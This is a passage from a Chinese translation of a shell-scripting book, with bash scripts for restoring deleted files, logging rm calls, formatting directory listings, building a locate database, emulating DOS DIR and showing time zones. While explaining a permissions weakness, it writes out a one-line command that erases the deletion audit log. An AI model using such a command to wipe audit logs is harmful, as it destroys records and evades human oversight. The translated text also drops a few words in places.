   if [ $matches -eq 0 ] ; then
     echo "No match for \"$1\" in the deleted file archive." >&2
     exit 1
   fi

➍ if [ $matches -gt 1 ] ; then
     echo "More than one file or directory match in the archive:"
     index=1
     for name in $(ls -td *"$1")
     do
       datetime="$(echo $name | cut -c1-14| \
➎       awk -F. '{ print $5"/"$4" at "$3":"$2":"$1 }')"
       filename="$(echo $name | cut -c16-)"
       if [ -d $name ] ; then
➏      filecount="$(ls $name | wc -l | sed 's/[^[:digit:]]//g')"
         echo " $index) $filename (contents = ${filecount} items," \
              " deleted = $datetime)"
       else
➐       size="$(ls -sdk1 $name | awk '{print $1}')"
         echo " $index) $filename (size = ${size}Kb, deleted = $datetime)"
       fi
       index=$(( $index + 1))
     done
     echo ""
     /bin/echo -n "Which version of $1 should I restore ('0' to quit)? [1] : "
     read desired
     if [ ! -z "$(echo $desired | sed 's/[[:digit:]]//g')" ] ; then
       echo "$0: Restore canceled by user: invalid input." >&2
       exit 1
     fi

     if [ ${desired:=1} -ge $index ] ; then
       echo "$0: Restore canceled by user: index value too big." >&2
       exit 1
     fi

 if [ $desired -lt 1 ] ; then
       echo "$0: Restore canceled by user." >&2
       exit 1
     fi

➑   restore="$(ls -td1 *"$1" | sed -n "${desired}p")"

➒   if [ -e "$dest/$1" ] ; then
       echo "\"$1\" already exists in this directory. Cannot overwrite." >&2
       exit 1
     fi

     /bin/echo -n "Restoring file \"$1\" ..."
     $move "$restore" "$dest/$1"
     echo "done."

➓   /bin/echo -n "Delete the additional copies of this file? [y] "
     read answer

     if [ ${answer:=y} = "y" ] ; then
       $realrm -rf *"$1"
       echo "Deleted."
     else
       echo "Additional copies retained."
     fi
   else
     if [ -e "$dest/$1" ] ; then
       echo "\"$1\" already exists in this directory. Cannot overwrite." >&2
       exit 1
     fi

     restore="$(ls -d *"$1")"

     /bin/echo -n "Restoring file \"$1\" ... "
     $move "$restore" "$dest/$1"
     echo "Done."
   fi

   exit 0

列表 2-7:恢复备份文件的 *unrm* shell 脚本

原理

在➊处的第一段代码,if [$# -eq 0] 条件块,会在没有指定参数时执行,显示已删除文件的归档内容。然而,这里有一个问题:我们不希望向用户展示我们添加到文件名中的时间戳数据,因为这些数据仅供脚本内部使用,展示出来会让输出显得杂乱。为了以更吸引人的格式显示这些数据,➋处的 sed 语句会删除 ls 输出中前五个 数字 数字 点 的出现。

用户可以通过指定文件或目录的名称作为参数来恢复该文件或目录。接下来的步骤在➌处是确定所提供名称的匹配项数量。

这一行中嵌套双引号的特殊用法(围绕$1)是为了确保ls匹配包含空格的文件名,同时*通配符将匹配扩展到包括任何前置的时间戳。2> /dev/null序列用于丢弃命令产生的任何错误,而不是将其显示给用户。被丢弃的错误很可能是没有此文件或目录,当指定的文件名未找到时会出现此错误。

如果给定的文件或目录名有多个匹配项,则脚本中最复杂的部分,即在➍处的if [ $matches -gt 1 ]块将被执行,并显示所有结果。主for循环中使用ls命令的-t标志,使得归档文件按从最新到最旧的顺序显示,而在➎处,通过简洁地调用awk命令,将文件名中的时间戳部分转换为括号中的删除日期和时间。在➐处的大小计算中,通过给ls命令添加-k标志,强制文件大小以千字节为单位表示。

脚本并不显示匹配目录条目的大小,而是显示每个匹配目录中包含的文件数量,这是一个更有用的统计信息。计算目录中条目的数量很容易。在➏处,我们只需要计算ls给出的行数,并将wc的输出中的空格去掉。

一旦用户指定了一个可能的匹配文件或目录,具体的文件将在➑处被识别。这条语句使用了稍微不同的sed用法。指定-n标志并使用行号(${desired})后跟p(打印)命令,是从输入流中快速提取指定行的方式。想只看第 37 行?命令sed -n 37p就是这么做的。

然后,在➒处进行测试,以确保unrm不会覆盖现有的文件副本,并通过调用/bin/mv来恢复文件或目录。完成后,用户将有机会删除额外的(可能是多余的)文件副本➓,脚本执行完毕。

请注意,使用 ls 配合 *"$1" 可以匹配任何以 $1 中的值结尾的文件名,因此多个“匹配文件”的列表可能包含不仅仅是用户想要恢复的文件。例如,如果删除的文件目录中包含文件 11.txt111.txt,运行 unrm 11.txt 将提示找到多个匹配项,并返回 11.txt111.txt 的列表。虽然这可能没问题,但一旦用户选择恢复正确的文件(11.txt),接受提示删除其他副本时,也会删除 111.txt。因此,在这种情况下默认删除可能并不是最优选择。然而,如果你像脚本 #15 中所示的那样保持相同的时间戳格式,改用 ??.??.??.??.??."$1" 模式就可以轻松解决这个问题,如第 55 页所示。

运行脚本

有两种方式可以运行这个脚本。没有任何参数时,脚本会显示用户删除的文件归档中所有文件和目录的列表。当提供一个文件名作为参数时,脚本会尝试恢复该文件或目录(如果只有一个匹配项),或者会显示候选恢复文件的列表,并允许用户指定要恢复的删除文件或目录的版本。

结果

在没有指定任何参数的情况下,脚本会显示删除文件归档中的内容,如清单 2-8 所示。

$ unrm
Contents of your deleted files archive (sorted by date):
  detritus            this is a test
  detritus            garbage

清单 2-8:运行没有参数的 *unrm* shell 脚本列出当前可恢复的文件

当指定了文件名时,如果有多个同名文件,脚本会显示更多关于该文件的信息,如清单 2-9 所示。

$ unrm detritus
More than one file or directory match in the archive:
 1)   detritus (size = 7688Kb, deleted = 11/29 at 10:00:12)
 2)   detritus  (size = 4Kb, deleted = 11/29 at 09:59:51)

Which version of detritus should I restore ('0' to quit)? [1] : 0
unrm: Restore canceled by user.

清单 2-9:运行带有单个参数的 *unrm* shell 脚本尝试恢复文件

破解脚本

如果你使用这个脚本,请注意,由于没有任何控制或限制,删除文件归档中的文件和目录将无限增长。为了避免这种情况,可以在 cron 作业中调用 find 来修剪删除文件归档,使用 -mtime 标志来识别那些几周没有被触碰的文件。对于大多数用户来说,14 天的归档时间应该足够,并且可以防止归档脚本占用过多的磁盘空间。

在我们讨论这些时,实际上有一些改进可以使这个脚本更加用户友好。可以考虑添加像 -l 来恢复最新文件,或者 -D 来删除多余副本等启动标志。你会添加哪些标志?它们会如何简化处理流程?

#17 记录文件删除

如果你不想归档已删除的文件,你也许只想追踪系统上发生的删除事件。在 Listing 2-10 中,使用 rm 命令删除的文件会被记录到一个单独的文件中,而不会通知用户。这可以通过使用脚本作为封装器来实现。封装器的基本理念是,它们位于实际的 Unix 命令和用户之间,提供原始命令无法单独提供的有用功能。

注意

封装器是一个非常强大的概念,随着你深入本书,你会发现它们反复出现。

代码

   #!/bin/bash
   # logrm--Logs all file deletion requests unless the -s flag is used

   removelog="/var/log/remove.log"

➊ if [ $# -eq 0 ] ; then
     echo "Usage: $0 [-s] list of files or directories" >&2
     exit 1
   fi

➋ if [ "$1" = "-s" ] ; then
     # Silent operation requested ... don't log.
     shift
   else
➌   echo "$(date): ${USER}: $@" >> $removelog
   fi

➍ /bin/rm "$@"

   exit 0

*Listing 2-10: *logrm* shell 脚本

工作原理

第一部分 ➊ 测试用户输入,如果没有给定参数,则生成一个简单的文件列表。然后在 ➋,脚本测试参数 1 是否为 -s;如果是,它会跳过删除请求的日志记录。最后,时间戳、用户和命令会被添加到 $removelog 文件中 ➌,并且用户的命令会被静默地传递给真正的 /bin/rm 程序 ➍。

运行脚本

与其给这个脚本命名为 logrm,一个典型的封装程序安装方式是重命名它所封装的底层命令,然后使用原始命令的旧名称来安装封装器。然而,如果你选择这种方式,请确保封装器调用的是新重命名的程序,而不是它自己!例如,如果你将 /bin/rm 重命名为 /bin/rm.old,并将这个脚本命名为 /bin/rm,那么脚本的最后几行需要进行更改,以便它调用的是 /bin/rm.old 而不是它自己。

另外,你可以使用别名将标准的 rm 命令替换为这个命令:

alias rm=logrm

在任何情况下,你都需要对 /var/log 目录具有写入和执行权限,这可能不是你系统上的默认配置。

结果

让我们创建几个文件,删除它们,然后查看删除日志,如 Listing 2-11 所示。

$ touch unused.file ciao.c /tmp/junkit
$ logrm unused.file /tmp/junkit
$ logrm ciao.c
$ cat /var/log/remove.log
Thu Apr  6 11:32:05 MDT 2017: susan: /tmp/central.log
Fri Apr  7 14:25:11 MDT 2017: taylor: unused.file /tmp/junkit
Fri Apr  7 14:25:14 MDT 2017: taylor: ciao.c

Listing 2-11: 测试 *logrm* shell 脚本

啊哈!注意到周四,用户 Susan 删除了文件 /tmp/central.log

破解脚本

这里可能会遇到日志文件的所有权权限问题。要么 remove.log 文件对所有人可写,在这种情况下,用户可以使用类似 cat /dev/null > /var/log/remove.log 的命令清空其内容,要么该文件对所有人不可写,在这种情况下,脚本无法记录事件。你可以使用 setuid 权限——脚本以 root 用户身份运行——这样脚本就会与日志文件具有相同的权限。然而,这种方法有两个问题。首先,这是一个非常糟糕的主意!绝对不要在 setuid 下运行 shell 脚本!通过使用 setuid 以特定用户身份运行命令,无论是谁执行该命令,都可能会给系统带来安全隐患。其次,可能会出现用户可以删除自己的文件,但脚本却无法删除的情况,因为 setuid 设置的有效用户 ID 会被 rm 命令继承,导致系统出错。当用户甚至无法删除自己的文件时,系统将陷入混乱!

如果你使用的是 ext2、ext3 或 ext4 文件系统(通常是 Linux 系统),另一种解决方案是使用 chattr 命令在日志文件上设置一个特定的仅追加文件权限,然后让所有人都可以写入而不会有任何危险。另一种解决方案是将日志信息写入 syslog,使用便捷的 logger 命令。使用 logger 记录 rm 命令是非常简单的,下面是示例:

logger -t logrm "${USER:-LOGNAME}: $*"

这会向 syslog 数据流中添加一个条目,普通用户无法触及,该条目标记为 logrm,包括用户名和指定的命令。

注意

如果你选择使用 *logger* ,你需要检查 *syslogd(8)* 以确保你的配置不会丢弃 *user.notice* 优先级的日志事件。它几乎总是会在 /etc/syslogd.conf 文件中指定。

#18 显示目录内容

ls 命令的一个方面一直让人觉得毫无意义:当列出一个目录时,ls 要么逐个列出目录中的文件,要么显示目录数据所需的 1,024 字节块数。ls -l 输出中的一个典型条目可能是这样的:

drwxrwxr-x    2 taylor   taylor        4096 Oct 28 19:07 bin

但这并不太有用!我们真正想知道的是目录中有多少个文件。这就是 Listing 2-12 中脚本的作用。它生成了一个多列文件和目录的清单,显示文件的大小以及包含的文件数。

代码

   #!/bin/bash

   # formatdir--Outputs a directory listing in a friendly and useful format

   # Note that you need to ensure "scriptbc" (Script #9) is in your current path
   #   because it's invoked within the script more than once.

   scriptbc=$(which scriptbc)

   # Function to format sizes in KB to KB, MB, or GB for more readable output
➊ readablesize()
   {

     if [ $1 -ge 1048576 ] ; then
       echo "$($scriptbc -p 2 $1 / 1048576)GB"
     elif [ $1 -ge 1024 ] ; then
       echo "$($scriptbc -p 2 $1 / 1024)MB"
     else
       echo "${1}KB"
     fi
   }

   #################
   ## MAIN CODE

   if [ $# -gt 1 ] ; then
     echo "Usage: $0 [dirname]" >&2
     exit 1
➋ elif [ $# -eq 1 ] ; then   # Specified a directory other than the current one?
     cd "$@"                  # Then let's change to that one.
     if [ $? -ne 0 ] ; then   # Or quit if the directory doesn't exist.
       exit 1
     fi
   fi

   for file in *
   do
     if [ -d "$file" ] ; then
➌     size=$(ls "$file" | wc -l | sed 's/[^[:digit:]]//g')
       if [ $size -eq 1 ] ; then
         echo "$file ($size entry)|"
       else
         echo "$file ($size entries)|"
       fi
     else
       size="$(ls -sk "$file" | awk '{print $1}')"
➍     echo "$file ($(readablesize $size))|"
     fi
   done | \
➎   sed 's/ /^^^/g' | \
     xargs -n 2 | \
     sed 's/\^\^\^/ /g' | \
➏   awk -F\| '{ printf "%-39s %-39s\n", $1, $2 }'

   exit 0

Listing 2-12: 更具可读性的目录列出脚本 *formatdir*

原理

这个脚本最有趣的部分之一是 readablesize 函数 ➊,它接受以千字节为单位的数字,并根据最合适的单位输出其值,可能是千字节、兆字节或吉字节。例如,代替将一个非常大的文件的大小显示为 2,083,364KB,该函数会将其显示为 2.08GB。请注意,readablesize 是通过 $( ) 语法 ➍ 调用的:

echo "$file ($(readablesize $size))|"

由于子 shell 会自动继承运行中的 shell 中定义的所有函数,因此通过 $() 语法创建的子 shell 可以访问 readablesize 函数,非常方便。

在脚本的顶部 ➋,还有一个快捷方式,允许用户指定一个不同于当前目录的目录,然后通过使用 cd 命令将运行中的 shell 脚本的当前工作目录更改为所需位置。

这个脚本的主要逻辑是将输出组织成两列整齐对齐的形式。需要处理的一个问题是,不能简单地将空格替换为换行符,因为文件和目录的名称中可能包含空格。为了解决这个问题,脚本在 ➎ 首先将每个空格替换为三个插入符号(^^^)的序列。然后,它使用 xargs 命令合并配对的行,使得每一对行变成一行,并通过一个真实的、预期的空格分隔。最后,在 ➏ 它使用 awk 命令输出列并正确对齐。

注意,通过在 ➌ 使用 wc 快速调用并结合 sed 命令清理输出,可以轻松计算出目录中(非隐藏)条目的数量:

size=$(ls "$file" | wc -l | sed 's/[^[:digit:]]//g')

运行脚本

要列出当前目录,执行没有参数的命令,正如 列表 2-13 所示。若要查看其他目录的内容,只需指定目录名作为唯一的命令行参数。

结果

$ formatdir ~
Applications (0 entries)                Classes (4KB)
DEMO (5 entries)                        Desktop (8 entries)
Documents (38 entries)                  Incomplete (9 entries)
IntermediateHTML (3 entries)            Library (38 entries)
Movies (1 entry)                        Music (1 entry)
NetInfo (9 entries)                     Pictures (38 entries)
Public (1 entry)                        RedHat 7.2 (2.08GB)
Shared (4 entries)                      Synchronize! Volume ID (4KB)
X Desktop (4KB)                         automatic-updates.txt (4KB)
bin (31 entries)                        cal-liability.tar.gz (104KB)
cbhma.tar.gz (376KB)                    errata (2 entries)
fire aliases (4KB)                      games (3 entries)
junk (4KB)                              leftside navbar (39 entries)
mail (2 entries)                        perinatal.org (0 entries)
scripts.old (46 entries)                test.sh (4KB)
testfeatures.sh (4KB)                   topcheck (3 entries)
tweakmktargs.c (4KB)                    websites.tar.gz (18.85MB)

列表 2-13:测试 *formatdir* shell 脚本

破解脚本

一个值得考虑的问题是,是否有用户喜欢在文件名中使用三个插入符号(^)。这种命名规范相当不太可能出现——我们在一次对 116,696 个文件的 Linux 安装的测试中,发现它的文件名中甚至没有一个插入符号——但如果确实发生了,你将得到一些令人困惑的输出。如果你担心,可以通过将空格转化为另一种字符序列来解决这个潜在的问题,这样的字符序列在用户文件名中发生的可能性会更小。四个插入符号?五个?

#19 通过文件名定位文件

在 Linux 系统中有一个非常有用的命令,但并不是所有 Unix 系统都具备,它就是 locate,它可以在一个预构建的文件名数据库中搜索用户指定的正则表达式。曾经想快速找到主 *.cshrc* 文件的位置吗?这就是使用 locate 来完成的方式:

image

你可以看到,主.cshrc文件位于这台 OS X 系统的/private/etc目录中。我们将要构建的locate版本在构建内部文件索引时,能够看到磁盘上的每一个文件,无论该文件是否在回收站队列中,是否在单独的卷中,甚至是否是隐藏的点文件。这既是一个优势,也可能是一个劣势,我们将稍后讨论。

代码

这种查找文件的方法简单易行,分为两个脚本。第一个(见列表 2-14)通过调用find来构建所有文件名的数据库,第二个(见列表 2-15)则是对新数据库进行简单的grep查找。

   #!/bin/bash

   # mklocatedb--Builds the locate database using find. User must be root
   #   to run this script.

   locatedb="/var/locate.db"

➊ if [ "$(whoami)" != "root" ] ; then
     echo "Must be root to run this command." >&2
     exit 1
   fi

   find / -print > $locatedb

   exit 0

列表 2-14:*mklocatedb* shell 脚本*

第二个脚本甚至更简短。

#!/bin/sh

# locate--Searches the locate database for the specified pattern

locatedb="/var/locate.db"

exec grep -i "$@" $locatedb

列表 2-15:*locate* shell 脚本*

工作原理

必须以 root 用户身份运行mklocatedb脚本,以确保它能够看到系统中的所有文件,因此在➊处通过调用whoami进行了检查。然而,以 root 身份运行任何脚本都是一个安全问题,因为如果某个目录对特定用户的访问被关闭,locate数据库就不应存储该目录及其内容的信息。这个问题将在第五章中通过一个新的、更安全的locate脚本来解决,该脚本考虑到了隐私和安全问题(详见脚本 #39,位于第 127 页)。不过,目前这个脚本完美模拟了标准 Linux、OS X 及其他发行版中locate命令的行为。

如果mklocatedb运行需要几分钟或更长时间,不必惊讶;它正在遍历整个文件系统,即使是中等大小的系统也可能需要一些时间。结果也可能非常庞大。在我们测试的一台 OS X 系统上,locate.db文件有超过 150 万个条目,占用了 1874.5MB 的磁盘空间。

一旦数据库构建完成,locate脚本本身就非常简单;它只是调用grep命令,带上用户指定的任何参数。

运行脚本

要运行locate脚本,首先需要运行mklocatedb。完成之后,locate调用几乎可以瞬间找到系统中所有符合指定模式的文件。

结果

mklocatedb脚本没有任何参数或输出,如列表 2-16 所示。

$ sudo mklocatedb
Password:
...
Much time passes
...
$

列表 2-16:以 root 身份运行*mklocatedb* shell 脚本,并使用*sudo*命令*

我们可以通过快速的ls命令检查数据库的大小,如下所示:

$ ls -l /var/locate.db
-rw-r--r--  1 root  wheel  174088165 Mar 26 10:02 /var/locate.db

现在,我们准备开始使用locate查找系统中的文件:

$ locate -i solitaire
/Users/taylor/Documents/AskDaveTaylor image folders/0-blog-pics/vista-search-
solitaire.png
/Users/taylor/Documents/AskDaveTaylor image folders/8-blog-pics/windows-play-
solitaire-1.png
/usr/share/emacs/22.1/lisp/play/solitaire.el.gz
/usr/share/emacs/22.1/lisp/play/solitaire.elc
/Volumes/MobileBackups/Backups.backupdb/Dave's MBP/2014-04-03-163622/BigHD/
Users/taylor/Documents/AskDaveTaylor image folders/0-blog-pics/vista-search-
solitaire.png
/Volumes/MobileBackups/Backups.backupdb/Dave's MBP/2014-04-03-163622/BigHD/
Users/taylor/Documents/AskDaveTaylor image folders/8-blog-pics/windows-play-
solitaire-3.png

这个脚本还可以让你获得关于系统的其他有趣统计信息,比如你有多少个 C 源文件,像这样:

$ locate '\.c$' | wc -l
  1479

注意

请注意这里的正则表达式。 *grep* 命令要求我们转义点号(.),否则它会匹配任何单一字符。另外, *$* 表示行尾,或者在这个情况下,表示文件名的结束。

再做一点小调整,我们可以将每个 C 源文件都传递给 wc 命令,从而计算系统中 C 代码的总行数,但,嗯,这样做是不是有点傻呢?

修改脚本

为了保持数据库的合理更新,调度 mklocatedb 每周在深夜通过 cron 运行就非常简单——正如大多数内置 locate 命令的系统所做的那样——甚至可以根据本地的使用模式更频繁地运行。和任何由 root 用户执行的脚本一样,要确保该脚本本身不能被非 root 用户修改。

这个脚本的一个潜在改进是让 locate 检查其调用,如果没有指定模式或 locate.db 文件不存在,则失败并显示有意义的错误信息。现在按目前的写法,脚本只会输出一个标准的 grep 错误,这并没有多大用处。更重要的是,正如我们之前讨论过的,允许用户访问系统中所有文件名的列表,包括那些他们通常无法看到的文件,是一个重大的安全问题。对这个脚本的安全性改进可以参见 脚本 #39 和 第 127 页。

#20 模拟其他环境:MS-DOS

虽然你可能永远不需要它们,但创建像 DIR 这样的经典 MS-DOS 命令的版本作为 Unix 兼容的 shell 脚本,这既有趣又能说明一些脚本编程概念。确实,我们可以仅仅使用 shell 别名将 DIR 映射到 Unix 的 ls 命令,像这个例子中那样:

alias DIR=ls

但这种映射并不能模拟命令的实际行为;它仅仅帮助健忘的人记住新的命令名称。如果你熟悉古老的计算机方式,你会记得 /W 选项会产生宽格式的列出。例如,但如果你现在将 /W 传递给 ls 命令,程序会抱怨说 /W 目录不存在。相反,以下在 清单 2-17 中的 DIR 脚本可以写成使其适应斜杠风格的命令标志。

代码

   #!/bin/bash
   # DIR--Pretends we're the DIR command in DOS and displays the contents
   #   of the specified file, accepting some of the standard DIR flags

   function usage
   {
   cat << EOF >&2
     Usage: $0 [DOS flags] directory or directories
     Where:
      /D           sort by columns
      /H           show help for this shell script
      /N           show long listing format with filenames on right
      /OD          sort by oldest to newest
      /O-D         sort by newest to oldest
      /P           pause after each screenful of information
      /Q           show owner of the file
      /S           recursive listing
      /W           use wide listing format
   EOF
     exit 1
   }

   #####################
   ### MAIN BLOCK

   postcmd=""
   flags=""
   while [ $# -gt 0 ]
   do
     case $1 in
       /D        ) flags="$flags -x"      ;;
       /H        ) usage                  ;;
➊     /[NQW]    ) flags="$flags -l"      ;;
       /OD       ) flags="$flags -rt"     ;;
       /O-D      ) flags="$flags -t"      ;;
       /P        ) postcmd="more"         ;;
       /S        ) flags="$flags -s"      ;;
               * ) # Unknown flag: probably a DIR specifier break;
                   #   so let's get out of the while loop.
     esac
     shift         # Processed flag; let's see if there's another.
   done

   # Done processing flags; now the command itself:

   if [ ! -z "$postcmd" ] ; then
     ls $flags "$@" | $postcmd
   else
     ls $flags "$@"
   fi

   exit 0

清单 2-17: *DIR* Shell 脚本,用于在 Unix 上模拟 *DIR* DOS 命令

原理说明

这个脚本突出了 shell case 语句中的条件测试实际上是正则表达式测试这一事实。你可以看到在 ➊ 位置,DOS 标志 /N/Q/W 都映射到最终调用 ls 命令时的同一个 -l Unix 标志,而所有这一切都通过一个简单的正则表达式 /[NQW] 实现。

运行脚本

将此脚本命名为DIR(并考虑创建一个系统范围的 shell 别名dir=DIR,因为 DOS 不区分大小写,而 Unix 确实区分大小写)。这样,每当用户在命令行输入带有典型 MS-DOS DIR 标志的 DIR 时,他们将得到有意义且有用的输出(如清单 2-18 所示),而不是一个command not found的错误信息。

结果

$ DIR /OD /S ~/Desktop
total 48320
 7720 PERP - Google SEO.pdf              28816 Thumbs.db
    0 Traffic Data                       8 desktop.ini
    8 gofatherhood-com-crawlerrors.csv   80 change-lid-close-behavior-win7-1.png
   16 top-100-errors.txt                 176 change-lid-close-behavior-win7-2.png
    0 $RECYCLE.BIN                       400 change-lid-close-behavior-win7-3.png
    0 Drive Sunshine                     264 change-lid-close-behavior-win7-4.png
   96 facebook-forcing-pay.jpg           32 change-lid-close-behavior-win7-5.png
10704 WCSS Source Files

*清单 2-18:测试*DIR* shell 脚本列出文件

该指定目录的列出,按从最旧到最新的顺序排序,显示文件大小(尽管目录的大小始终为 0)。

修改脚本

到这个阶段,可能很难找到一个记得 MS-DOS 命令行的人,但基本概念是强大的,值得了解。例如,你可以做的一个改进是,先显示 Unix 或 Linux 等效的命令,再执行,然后在经过一定次数的系统调用后,脚本显示翻译的命令,但实际上不执行命令。用户将被迫学习新命令,才能完成任何事情!

#21 显示不同时间区的时间

date命令的最基本要求是能够在你的时区内显示日期和时间。但如果你有跨多个时区的用户呢?或者,更可能的是,如果你有分布在不同地点的朋友和同事,而你总是弄不清楚比如卡萨布兰卡、梵蒂冈或悉尼的时间呢?

事实证明,大多数现代 Unix 系统上的date命令是建立在一个令人惊叹的时区数据库之上的。这个数据库通常存储在目录/usr/share/zoneinfo中,列出了超过 600 个地区,并为每个地区详细列出了与 UTC(协调世界时,通常也称为格林尼治标准时间,或GMT)的时区偏移。date命令会关注TZ时区变量,我们可以将其设置为数据库中的任何地区,例如:

$ TZ="Africa/Casablanca" date
Fri Apr  7 16:31:01 WEST 2017

然而,大多数系统用户不习惯指定临时的环境变量设置。通过使用一个 shell 脚本,我们可以为时区数据库创建一个更加用户友好的前端。

清单 2-19 中的大部分脚本涉及在时区数据库中查找(该数据库通常分布在zonedir目录中的多个文件里),并尝试找到一个匹配指定模式的文件。一旦找到匹配的文件,脚本会抓取完整的时区名称(例如此例中的TZ="Africa/Casablanca"),并以此作为子 shell 环境设置调用date命令。date命令会检查TZ来查看当前的时区,并不知道它是一个一次性使用的时区还是你平时所处的时区。

代码

   #!/bin/bash

   # timein--Shows the current time in the specified time zone or
   #   geographic zone. Without any argument, this shows UTC/GMT.
   #   Use the word "list" to see a list of known geographic regions.
   #   Note that it's possible to match zone directories (regions),
   #   but that only time zone files (cities) are valid specifications.

   # Time zone database ref: http://www.twinsun.com/tz/tz-link.htm

   zonedir="/usr/share/zoneinfo"

   if [ ! -d $zonedir ] ; then
     echo "No time zone database at $zonedir." >&2
     exit 1
   fi

   if [ -d "$zonedir/posix" ] ; then
     zonedir=$zonedir/posix        # Modern Linux systems
   fi

   if [ $# -eq 0 ] ; then
     timezone="UTC"
     mixedzone="UTC"
➊ elif [ "$1" = "list" ] ; then
     ( echo "All known time zones and regions defined on this system:"
       cd $zonedir
       find -L * -type f -print | xargs -n 2 | \
         awk '{ printf " %-38s %-38s\n", $1, $2 }'
     ) | more
     exit 0
   else

     region="$(dirname $1)"
     zone="$(basename $1)"

     # Is the given time zone a direct match? If so, we're good to go.
     #   Otherwise we need to dig around a bit to find things. Start by
     #   just counting matches.

     matchcnt="$(find -L $zonedir -name $zone -type f -print |\
           wc -l | sed 's/[^[:digit:]]//g' )"

     # Check if at least one file matches.
     if [ "$matchcnt" -gt 0 ] ; then
       # But exit if more than one file matches.
       if [ $matchcnt -gt 1 ] ; then
         echo "\"$zone\" matches more than one possible time zone record." >&2
         echo "Please use 'list' to see all known regions and time zones." >&2
         exit 1
         fi
         match="$(find -L $zonedir -name $zone -type f -print)"
         mixedzone="$zone"
       else # Maybe we can find a matching time zone region, rather than a specific
            #   time zone.
         # First letter capitalized, rest of word lowercase for region + zone
         mixedregion="$(echo ${region%${region#?}} \
                  | tr '[[:lower:]]' '[[:upper:]]')\
                  $(echo ${region#?} | tr '[[:upper:]]' '[[:lower:]]')"
       mixedzone="$(echo ${zone%${zone#?}} | tr '[[:lower:]]' '[[:upper:]]') \
                  $(echo ${zone#?} | tr '[[:upper:]]' '[[:lower:]]')"

       if [ "$mixedregion" != "." ] ; then
         # Only look for specified zone in specified region
         #   to let users specify unique matches when there's
         #   more than one possibility (e.g., "Atlantic").
         match="$(find -L $zonedir/$mixedregion -type f -name $mixedzone -print)"
       else
         match="$(find -L $zonedir -name $mixedzone -type f -print)"
       fi

       # If file exactly matched the specified pattern
       if [ -z "$match" ] ; then
         # Check if the pattern was too ambiguous.
         if [ ! -z $(find -L $zonedir -name $mixedzone -type d -print) ] ; then
➋         echo "The region \"$1\" has more than one time zone. " >&2
         else  # Or if it just didn't produce any matches at all
           echo "Can't find an exact match for \"$1\". " >&2
         fi
         echo "Please use 'list' to see all known regions and time zones." >&2
         exit 1
       fi
     fi
➌   timezone="$match"
   fi

   nicetz=$(echo $timezone | sed "s|$zonedir/||g")    # Pretty up the output.

   echo It\'s $(TZ=$timezone date '+%A, %B %e, %Y, at %l:%M %p') in $nicetz

   exit 0

*清单 2-19:*timein* shell 脚本,用于报告特定时区的时间

它是如何工作的

这个脚本利用了date命令的功能,能够显示指定时区的日期和时间,无论当前的环境设置如何。实际上,整个脚本的核心就是识别一个有效的时区名称,以便在最后调用时,date命令能够正常工作。

这个脚本的复杂性大部分来自于尝试预测用户输入的世界区域名称,这些名称与时区数据库中的区域名称不匹配。时区数据库是以时区名称区域/地点名称列的形式排列的,脚本会尝试为典型的输入问题显示有用的错误消息,比如由于用户指定了像巴西这样的国家,而巴西有多个时区,导致找不到时区。

例如,尽管TZ="Casablanca" date会因为找不到匹配的区域而显示 UTC/GMT 时间,卡萨布兰卡城市确实存在于时区数据库中。问题在于,你必须使用其正确的区域名称Africa/Casablanca,才能使其正常工作,正如本脚本介绍中所展示的那样。

另一方面,这个脚本可以自行在非洲目录中找到卡萨布兰卡,并准确地识别该时区。然而,仅仅指定非洲是不够具体的,因为脚本知道非洲内有多个子区域,所以它会生成一条错误信息,表示信息不足以唯一地标识一个特定的时区➋。你还可以使用list列出所有时区➊,或者使用一个实际的时区名称➌(例如,UTC 或 WET),作为该脚本的参数。

注意

时区数据库的一个优秀参考可以在线查找,网址为 www.twinsun.com/tz/tz-link.htm

运行脚本

要查看某个区域或城市的时间,可以将区域或城市名称作为参数传递给timein命令。如果你知道区域和城市的名称,也可以将它们指定为*区域*/*城市*(例如,Pacific/Honolulu)。如果没有任何参数,timein会显示 UTC/GMT。清单 2-20 展示了timein脚本在多种时区下的运行情况。

结果

$  timein
It's Wednesday, April 5, 2017, at 4:00 PM in UTC
$ timein London
It's Wednesday, April 5, 2017, at 5:00 PM in Europe/London
$ timein Brazil
The region "Brazil" has more than one time zone. Please use 'list'
to see all known regions and time zones.
$ timein Pacific/Honolulu
It's Wednesday, April 5, 2017, at 6:00 AM in Pacific/Honolulu
$ timein WET
It's Wednesday, April 5, 2017, at 5:00 PM in WET
$ timein mycloset
Can't find an exact match for "mycloset". Please use 'list'
to see all known regions and time zones.

清单 2-20:使用不同的时区测试 *timein* 脚本

破解脚本

知道全球特定时区的时间是一项非常有用的技能,尤其是对于管理全球网络的系统管理员来说。但有时,你其实只是想快速了解两个时区之间的时间差timein脚本可以被修改来实现这个功能。通过基于timein脚本创建一个新的脚本,可能叫做tzdiff,你可以接受两个参数,而不是一个。

使用这两个参数,你可以确定两个时区的当前时间,然后打印出它们之间的小时差异。然而,请记住,两个时区之间的两小时差异可能是向的两小时,或者是向的两小时,这之间的差异非常重要。区分两小时差异是向前还是向后,对于让这个小技巧成为一个有用的脚本至关重要。

第四章:创建工具

image

创建 shell 脚本的主要目的之一是将复杂的命令行序列放入文件中,使其可复制并且易于调整。所以,不足为奇的是,本书中到处都是用户命令。那么,什么是令人惊讶的呢?令人惊讶的是,我们没有为 Linux、Solaris 和 OS X 系统上的每个命令编写一个封装脚本。

Linux/Unix 是唯一一个你可以决定不喜欢某个命令的默认标志,并通过几个按键永远修复它的操作系统,或者你可以通过使用别名或十几行脚本来模拟你喜欢的其他操作系统工具的行为。这就是 Unix 如此有趣的原因,也是最初写这本书的原因!

#22 提醒工具

多年来,Windows 和 Mac 用户一直喜欢像 Stickies 这样的简单工具,这些精简的应用程序让你可以在屏幕上粘贴小便签和提醒。它们非常适合记录电话号码或其他提醒。不幸的是,如果你想在 Unix 命令行下记笔记,没有类似的工具,但这个问题可以通过这对脚本轻松解决。

第一个脚本remember(如清单 3-1 所示)可以让你轻松将信息片段保存在家目录中的单个rememberfile文件中。如果没有传递任何参数,它会读取标准输入直到输入文件结束符(^D),即按 CTRL-D。如果传递了参数,它会直接将这些参数保存到数据文件中。

这对脚本中的另一部分是remindme,一个伴随脚本,显示在清单 3-2 中,当没有给定参数时,它会显示整个rememberfile的内容,或者使用参数作为模式进行搜索并显示其结果。

代码

   #!/bin/bash

   # remember--An easy command line-based reminder pad

   rememberfile="$HOME/.remember"

   if [ $# -eq 0 ] ; then
     # Prompt the user for input and append whatever they write to
     #   the rememberfile.
     echo "Enter note, end with ^D: "
➊   cat - >> $rememberfile
   else
